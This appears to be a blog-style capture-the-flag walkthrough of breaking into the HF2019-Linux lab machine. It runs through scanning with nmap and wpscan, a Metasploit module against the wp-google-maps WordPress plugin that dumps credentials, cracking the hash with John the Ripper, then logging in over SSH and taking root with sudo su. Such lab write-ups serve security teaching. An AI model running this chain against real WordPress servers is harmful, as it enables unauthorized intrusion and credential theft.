Breaking into HF2019-Linux
Information Gathering:
Here, I will find the IP Address of the target machine, HF-2019-Linux, using the command netdiscover and check whether the target machine is in an active state using the command ping.
netdiscover
ping <IP Address>
Scanning & Enumeration:
I will find the open ports using the command nmap in the scanning and enumeration phase.
nmap <IP Address> -A
Here, we can see that services like FTP, SSH, and HTTP are open, and in HTTP, WordPress 5.2.3 is open.
Using the target’s IP address, we found the technology to develop the website in WordPress 5.2.3.
We must find the credentials to log in to the target machine using WordPress Scan (wpscan) WPScan is a security scanner designed for testing the security of websites built using WordPress.
wpscan --url http://<IP Address>
It shows that “No Wpscan API Token was given. As a result, vulnerability data has not been output.”
So, to give an API token, we need to log in to WPScan (WordPress Security Scanner). It displays the API token after logging in, copying it, and using it for scanning.
wpscan --url http://<IP Adress> --api-token <Token generated in WPScan>
After giving the API token, we identified 18 vulnerabilities for wp-google-maps.
Get Thummala Koushik’s stories in your inbox
Join Medium for free to get updates from this writer.
Using msfconsole, we will search for wp-google-maps if there are any modules present.
We found one auxiliary, and we will use it.
msfconsole
search wp-google-maps
use 0
options
Here, we must set the RHOSTS value as the target IP Address, use the command exploit, and hit enter.
set RHOSTS <IP Address>
exploit
Gaining Access
We found the credentials with username and password, but the password is in hash form. So, we use John the Ripper tool to decode the hash.
After decoding the hash value, we found the password kittykat1.
john --wordlists=/usr/share/wordlists/rockyou.txt <Filename>
Maintaining Access
Using the ssh service, we will gain access to the target machine.
Here, the ls command lists the files in the server. The flag.txt file is now present, so we can see the details using the command cat.
But, we are not in root privilege, so by typing sudo su, we will gain root privilege and change the directory to root. We found another flag.txt file to open using the command cat. That’s it.
ssh webmaster@<IP Address>
ls
cat flag.txt
sudo su //For Root Privilege
cd /
ls
cd root
ls
cat flag.txt
Breakthrough of HF2019-Linux Server has been completed.
Will meet you at another article with another server hacking.
Thank You :)
